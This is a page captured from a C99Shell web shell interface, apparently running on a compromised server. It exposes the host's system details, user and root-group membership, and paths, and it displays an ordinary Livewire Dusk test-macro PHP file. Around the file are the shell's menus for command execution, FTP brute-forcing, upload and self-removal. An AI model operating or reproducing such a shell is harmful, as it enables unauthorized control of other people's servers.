!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Macros/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DuskBrowserMacros.php (7.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Macros;

use function 
Livewire\str;
use 
Facebook\WebDriver\WebDriverBy;
use 
PHPUnit\Framework\Assert as PHPUnit;

class 
DuskBrowserMacros
{
    public function 
assertAttributeMissing()
    {
        return function (
$selector$attribute) {
            
/** @var \Laravel\Dusk\Browser $this */
            
$fullSelector $this->resolver->format($selector);

            
$actual $this->resolver->findOrFail($selector)->getAttribute($attribute);

            
PHPUnit::assertNull(
                
$actual,
                
"Did not see expected attribute [{$attribute}] within element [{$fullSelector}]."
            
);

            return 
$this;
        };
    }

    public function 
assertNotVisible()
    {
        return function (
$selector) {
            
/** @var \Laravel\Dusk\Browser $this */
            
$fullSelector $this->resolver->format($selector);

            
PHPUnit::assertFalse(
                
$this->resolver->findOrFail($selector)->isDisplayed(),
                
"Element [{$fullSelector}] is visible."
            
);

            return 
$this;
        };
    }

    public function 
assertNotPresent()
    {
        return function (
$selector) {
            
/** @var \Laravel\Dusk\Browser $this */
            
$fullSelector $this->resolver->format($selector);

            
PHPUnit::assertTrue(
                
is_null($this->resolver->find($selector)),
                
"Element [{$fullSelector}] is present."
            
);

            return 
$this;
        };
    }

    public function 
assertHasClass()
    {
        return function (
$selector$className) {
            
/** @var \Laravel\Dusk\Browser $this */
            
$fullSelector $this->resolver->format($selector);

            
PHPUnit::assertContains(
                
$className,
                
explode(' '$this->attribute($selector'class')),
                
"Element [{$fullSelector}] missing class [{$className}]."
            
);

            return 
$this;
        };
    }

    public function 
assertScript()
    {
        return function (
$js$expects true) {
            
/** @var \Laravel\Dusk\Browser $this */
            
PHPUnit::assertEquals($expectshead($this->script(
                
str($js)->start('return ')
            )));

            return 
$this;
        };
    }

    public function 
runScript()
    {
        return function (
$js) {
            
/** @var \Laravel\Dusk\Browser $this */
            
$this->script([$js]);

            return 
$this;
        };
    }

    public function 
scrollTo()
    {
        return function (
$selector) {
            
$this->browser->scrollTo($selector);
            return 
$this;
        };
    }

    public function 
assertClassMissing()
    {
        return function (
$selector$className) {
            
/** @var \Laravel\Dusk\Browser $this */
            
$fullSelector $this->resolver->format($selector);

            
PHPUnit::assertNotContains(
                
$className,
                
explode(' '$this->attribute($selector'class')),
                
"Element [{$fullSelector}] has class [{$className}]."
            
);

            return 
$this;
        };
    }

    public function 
waitForLivewireToLoad()
    {
        return function () {
            
/** @var \Laravel\Dusk\Browser $this */
            
return $this->waitUsing(625, function () {
                return 
$this->driver->executeScript("return !! window.Livewire.components.initialRenderIsFinished");
            });
        };
    }

    public function 
waitForLivewire()
    {
        return function (
$callback null) {
            
/** @var \Laravel\Dusk\Browser $this */
            
$id str()->random();

            
$this->script([
                
"window.duskIsWaitingForLivewireRequest{$id} = true",
                
"window.Livewire.hook('message.sent', () => { window.duskIsWaitingForLivewireRequest{$id} = true })",
                
"window.Livewire.hook('message.processed', () => { delete window.duskIsWaitingForLivewireRequest{$id} })",
                
"window.Livewire.hook('message.failed', () => { delete window.duskIsWaitingForLivewireRequest{$id} })",
            ]);

            if (
$callback) {
                
$callback($this);

                return 
$this->waitUsing(625, function () use ($id) {
                    return 
$this->driver->executeScript("return window.duskIsWaitingForLivewireRequest{$id} === undefined");
                }, 
'Livewire request was never triggered');
            }

            
// If no callback is passed, make ->waitForLivewire a higher-order method.
            
return new class($this$id) {
                public 
$browser;
                public 
$id;
                
                public function 
__construct($browser$id) { $this->browser $browser$this->id $id; }

                public function 
__call($method$params)
                {
                    return 
tap($this->browser->{$method}(...$params), function ($browser) {
                        
$browser->waitUsing(625, function () use ($browser) {
                            return 
$browser->driver->executeScript("return window.duskIsWaitingForLivewireRequest{$this->id} === undefined");
                        }, 
'Livewire request was never triggered');
                    });
                }
            };
        };
    }

    public function 
online()
    {
        return function () {
            
/** @var \Laravel\Dusk\Browser $this */
            
return tap($this)->script("window.dispatchEvent(new Event('online'))");
        };
    }

    public function 
offline()
    {
        return function () {
            
/** @var \Laravel\Dusk\Browser $this */
            
return tap($this)->script("window.dispatchEvent(new Event('offline'))");
        };
    }

    public function 
selectMultiple()
    {
        return function (
$field$values = []) {
            
$element $this->resolver->resolveForSelection($field);

            
$options $element->findElements(WebDriverBy::tagName('option'));

            if (empty(
$values)) {
                
$maxSelectValues sizeof($options) - 1;
                
$minSelectValues rand(0$maxSelectValues);
                foreach (
range($minSelectValues$maxSelectValues) as $optValue) {
                    
$options[$optValue]->click();
                }
            } else {
                foreach (
$options as $option) {
                    
$optValue = (string)$option->getAttribute('value');
                    if (
in_array($optValue$values)) {
                        
$option->click();
                    }
                }
            }

            return 
$this;
        };
    }

    public function 
assertConsoleLogHasWarning()
    {
        return function(
$expectedMessage){
            
$logs $this->driver->manage()->getLog('browser');

            
$containsError false;

            foreach (
$logs as $log) {
                if (! isset(
$log['message']) || ! isset($log['level']) || $log['level'] !== 'WARNING') continue;


                if(
str($log['message'])->contains($expectedMessage)) {
                    
$containsError true;
                }
            }

            
PHPUnit::assertTrue($containsError"Console log error message \"{$expectedMessage}\" not found");
        };
    }

    public function 
assertConsoleLogMissingWarning()
    {
        return function(
$expectedMessage){
            
$logs $this->driver->manage()->getLog('browser');

            
$containsError false;

            foreach (
$logs as $log) {
                if (! isset(
$log['message']) || ! isset($log['level']) || $log['level'] !== 'WARNING') continue;


                if(
str($log['message'])->contains($expectedMessage)) {
                    
$containsError true;
                }
            }

            
PHPUnit::assertFalse($containsError"Console log error message \"{$expectedMessage}\" was found");
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--